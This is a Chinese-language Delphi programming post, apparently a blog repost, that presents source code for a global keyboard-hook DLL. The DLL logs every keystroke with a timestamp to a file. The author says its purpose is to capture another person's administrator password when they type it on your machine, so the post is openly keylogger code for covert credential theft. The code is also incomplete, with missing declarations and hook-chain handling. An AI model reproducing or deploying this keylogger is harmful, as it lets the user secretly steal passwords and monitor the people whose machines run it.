天天看點

Delphi程式設計使用HOOK監視Windows

每個程式都有自己的生存空間,在Windows系統中你可以在任何時候讓你的程式執行一些操作 ,還可以觸發消息,觸發的消息分為三種, 一是操作你程式的界面,onClick,onMouseMove等等,另外一個可以使用Windows的消息機制來捕獲 一些系統消息, 但是如果你想在任何時候監控任何程式的情況那可能你就會選擇HOOK來實作了,雖然還有其他方法 ,但不得不承認, HOOK是一個比較簡單解決問題的途徑。   下面就來舉個例子(使用Delphi7.0調試通過):   如果你需要通路某個人的機器,那在運作//SB之後那個人就會在你機器上敲入他的adminsitrator 密碼,當然, 你也可以使用黑客工具來得到他的密碼,但是,為什麼不自己嘗試一下寫個程式記錄所有的鍵盤操 作呢?   首先需要申明一點,Hook不同于一般的應用程式,需要作為一個全局DLL出現,否則無法在你 程式不激活的狀态捕獲其他資訊的, (當然你可以用Windows消息,這個問題不在這裡讨論)。   寫個DLL定義一下函數   function setkeyhook:bool;export; function endkeyhook:bool;export; procedure keyhookexit;far; procedure SetMainHandle(Handle: HWND); export;forward; function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export; procedure EntryPointProc(Reason: Integer);  const   hMapObject: THandle = 0;  begin   case reason of    DLL_PROCESS_ATTACH:   begin    hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), ’_CBT ’);    rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0);   end;   DLL_PROCESS_DETACH:  begin  try   UnMapViewOfFile(rHookRec);   CloseHandle(hMapObject);   except  end; end; end; end; procedure keyhookexit;far; begin if hNexthookproc<>0 then endkeyhook;  exitproc:=procsaveexit; end; function endkeyhook:bool;export; begin if hNexthookproc<>0 then begin  unhookwindowshookex(hNexthookproc);  hNexthookproc:=0;  messagebeep(0); end; result:=hNexthookproc=0; MainHandle:=0; end; function Setkeyhook:bool;export; begin  hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0);  result:=hNexthookproc<>0; end; function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export; var  s:Tstringlist; begin  if icode<0 then  begin   result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam);   exit;  end;  if lparam<0 then  begin   exit;  end;  s:=TStringlist.Create;  if FileExists(afilename) then   s.LoadFromFile(afilename);   //将敲打的鍵盤字元儲存到檔案中   s.Add(formatdatetime(’YYYYMMDD hh:nn:ss:zzz: ’,now) + char(wParam) );   s.SaveToFile(afilename);   s.Free;   result:=0;  end; http://web5588.cn(名揚線上)

繼續閱讀